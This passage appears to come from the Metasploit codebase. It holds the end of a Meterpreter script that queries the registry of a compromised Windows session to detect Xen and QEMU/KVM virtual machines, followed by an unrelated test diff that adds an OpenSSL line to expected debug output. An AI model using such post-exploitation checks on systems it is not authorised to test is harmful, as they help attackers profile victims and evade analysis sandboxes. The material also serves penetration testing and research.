srvvals = key.enum_key
if srvvals.include?("Xen")
print_status("This is a Xen Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
srvvals = key.enum_key
if srvvals.include?("xenevtchn")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xennet")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xennet6")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xensvc")
print_status("This is a Xen Virtual Machine")
vm = true
elsif srvvals.include?("xenvdb")
print_status("This is a Xen Virtual Machine")
vm = true
end
key.close
rescue
end
end
return vm
end
def qemuchk(session)
vm = false
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
if key.query_value('Identifier').data.downcase =~ /qemu/
print_status("This is a QEMU/KVM Virtual Machine")
vm = true
end
rescue
end
end
if not vm
begin
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0')
if key.query_value('ProcessorNameString').data.downcase =~ /qemu/
print_status("This is a QEMU/KVM Virtual Machine")
vm = true
end
rescue
end
end
return vm
end
if client.platform == 'windows'
print_status("Checking if target is a Virtual Machine .....")
found = hypervchk(session)
found = vmwarechk(session) if not found
found = checkvrtlpc(session) if not found
found = vboxchk(session) if not found
found = xenchk(session) if not found
found = qemuchk(session) if not found
print_status("It appears to be physical host.") if not found
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
+7
View File
@@ -1276,6 +1276,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: bad/path
Session Type: driver selected, no connection
Install Method: Other - Please specify
@@ -1315,6 +1316,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: bad/path
Session Type: Connected to db_name. Connection type: http.
Install Method: Other - Please specify
@@ -1362,6 +1364,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: bad/path
Session Type: Connected to current_db_connection. Connection type: local.
Install Method: Other - Please specify
@@ -1400,6 +1403,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{File.join(File::SEPARATOR, 'usr', 'share', 'metasploit-framework')}
Session Type: driver selected, no connection
Install Method: Other - Please specify
@@ -1438,6 +1442,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{File.join(file_fixtures_path, 'debug', 'installs', 'omnibus')}
Session Type: driver selected, no connection
Install Method: Omnibus Installer
@@ -1477,6 +1482,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{File.join(file_fixtures_path, 'debug', 'installs')}
Session Type: driver selected, no connection
Install Method: Git Clone
@@ -1515,6 +1521,7 @@ RSpec.describe Msf::Ui::Debug do
```
Framework: VERSION
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{File.join(File::SEPARATOR, 'opt', 'metasploit')}
Session Type: driver selected, no connection
Install Method: Other - Please specify